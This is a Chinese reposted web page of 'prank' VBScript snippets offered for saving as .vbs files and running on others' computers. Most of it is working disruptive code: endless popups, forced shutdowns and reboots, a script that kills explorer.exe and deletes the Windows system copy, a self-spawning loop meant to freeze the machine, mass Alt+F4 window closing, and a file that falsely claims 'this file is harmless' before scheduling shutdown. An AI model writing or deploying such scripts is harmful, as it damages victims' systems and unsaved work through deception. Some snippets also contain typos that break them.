一些惡作劇的vbs程序代碼


惡作劇的vbs代碼,這里提供的都是一些死循環或導致系統死機的vbs對機器沒壞處,最多關機重啟一下就可以了,將下面的任意一段代碼保存為*.vbs即可

循環彈窗:

do 
msgbox "hi" 
loop 

英文報數:

Set s = CreateObject("sapi.spvoice") 
i=0 
do 
s.speak i 
i=i+1 
loop 

打開計算器:

Set ws = CreateObject("Wscript.Shell") 
ws.run "cmd.exe /c call calc.exe",0 

刪除explorer.exe,導致桌面沒有顯示:(找回桌面方法:找到同級目錄下的explorer.data   將后綴名改為.exe就還原了)

set ws=CreateObject("Wscript.Shell") 
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 
wscript.sleep 900 
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" 
wscript.sleep 1200 
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe 

關機:

set sh=wscript.createobject("wscript.shell") 
sh.run"shutdown -s -t 332" 

關閉當前打開的所有窗口:

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
for d=0 to 40 
WSHshell.SendKeys "%{F4}" 
next 

(手動打開計算機聲音)語音倒計時,並執行關機:

dim a 
a=10 
Set objShell = CreateObject("Wscript.Shell") 
objShell.Run "shutdown -s -t 10",,true 
Set s = CreateObject("sapi.spvoice") 
while a 
s.Speak a 
a = a - 1 
wscript.sleep 100 
wend 
CreateObject("SAPI.SpVoice").Speak "Bomb?" 

可導致電腦死機代碼:

do 
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) 
loop 
msgbox"讓你見識一下啥叫狠毒!" 
do 
set ws=createobjecet("wscript.shell") 
ws.run"explorer.exe" 
ws.run"cmd.exe" 
loop 
set s.createobject("wscript.shell") 
lsfile=wscript.scriptfullname '獲得自己的名稱 
do '死循環 
s.run lsfile '自己運行自己 
s.run "notepad" '運行記事本 
loop '幾秒就死機,哈 

  

執行制定命令,不管對於否 都將執行 ——關機:

msgbox"此文件無毒,請放心使用。",vbretrycancel,"系統提示。" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.Run "cmd.exe /c shutdown -s -t 300" 
wscript.sleep 2000 
dim a 
do 
a=inputbox("輸入666,否則關機。") 
if a="666" then 
msgbox" 很遺憾,你中招了,這是整人程序,你就等着關機吧!" 
exit do 
else 
msgbox"乖點,輸入666" 
end if 
loop 

執行制定命令,輸入不正確執行關機,否則取消執行關機命令

on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""說我是豬,不說我是豬就一分鍾關你機,不信,試試···"" ",0 ,true 
dim a 
do while(a <> "我是豬") 
a = inputbox ("說我是豬,就不關機,快撒,說 ""我是豬"" ","說不說","不說",8000,7000) 
msgbox "" 
loop 
msgbox "早說就行了嘛" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox "自己罵自己的不要臉~~~~~~",4, " " 
on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我聲爹,快喊"" ",0 ,true 
dim a 
do while(a <> "") 
a = inputbox ("喊我爹,快撒,喊 """" ","喊不喊","不喊",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "兒子" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "等下老爹買棒棒糖給你吃" 

 

無聊彈窗:

msgbox"你是不是很無聊啊?",4 
msgbox"我來陪你玩會兒" 
msgbox"做好玩兒的准備吧!" 
do 
msgbox"你無聊嗎?",vbinformation,"你無聊嗎?" 
loop 

不斷刷新(相當於狂按F5):

set ws=createobject("wscript.shell") 
do 
ws.sendkeys "{f5}" 
loop 

語音輸出:

dim a 
set a=createobject("sapi.spvoice") 
a.speak "我想大聲告訴你" 

永遠訴說不完的故事:

dim a 
a=msgbox("給你講個故事!",vbyesno,"阿飛正傳") 
if a=vbyes then 
do 
msgbox("從前有座山") 
msgbox("山上有座廟") 
msgbox("廟里有兩個和尚") 
msgbox("大和尚給小和尚講故事說") 
a=1 
loop while a=1 
end if 

 

 

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

父母給的是背景,自己打的才叫天下。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM